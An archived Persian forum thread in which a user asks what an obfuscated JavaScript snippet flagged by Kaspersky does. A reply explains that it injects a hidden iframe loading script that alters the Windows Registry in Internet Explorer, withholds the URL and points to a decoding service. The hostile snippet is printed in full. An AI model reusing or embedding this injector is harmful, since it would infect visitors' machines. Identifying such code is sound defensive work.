PDA

View Full Version : سوال: این تکه کد کارش چیه ؟



#Elahe#
پنج شنبه 13 بهمن 1390, 10:08 صبح
سلام
کسپر به این فایل js گیر میداد
ولی نمیدونم کارش چیه
فقط اون قسمت تبدیل حروف کوچک به بزرگش رو متوجه شدم که منهای 48 شده و نتیجه رو مینویسه تو یه فایل و و و و


<!--
ML="ws:9f0c<dyv/e\"hbr_.;tk=1molai2ng>pj8 ";
MI="76<ND<@P78L:T1D9J<F=8L1QJK92NIN<C=P7L4@KH<TNKH<F=K8A@LO>DADIQ=THK@OLN0L8D>F=G=THK@OLN><LO>DF=G=TDK@O<DF=A?JKNE=T1@6F=>DDQ2;;D<H3SBL@;D<H;R1;D<HMB>DH=T4@KH<?I@8<@F=5=T16@IJJLNOF=NI=T0L8D>F=5=T><LO>DF=5=P7;L4@KH<P7;8L:P7;6<ND<@P";
OT="";
for(j=0;j<MI.length;j++){
OT+=ML.charAt(MI.charCodeAt(j)-48);
}document.write(OT);
// -->

mehdi.mousavi
شنبه 22 بهمن 1390, 11:56 صبح
سلام.
این کد، هدفش ایجاد iframe ای هستش که source اون، حاوی script کد شده ایه که اگر در IE بازش کنید، سعی میکنه مقداری در Registry سیستم رو تغییر بده... (برای جلوگیری از درد سرهای احتمالی برای اعضای سایت، URL به اون آدرس رو نمیذارم). در هر حال، هر وقت به چنین کدهایی برخوردید که مشکوک بنظر می رسید، می تونید اونها رو در این آدرس (http://jsunpack.jeek.org/) Submit کنید تا کد مورد نظر براتون decode بشه...

موفق باشید.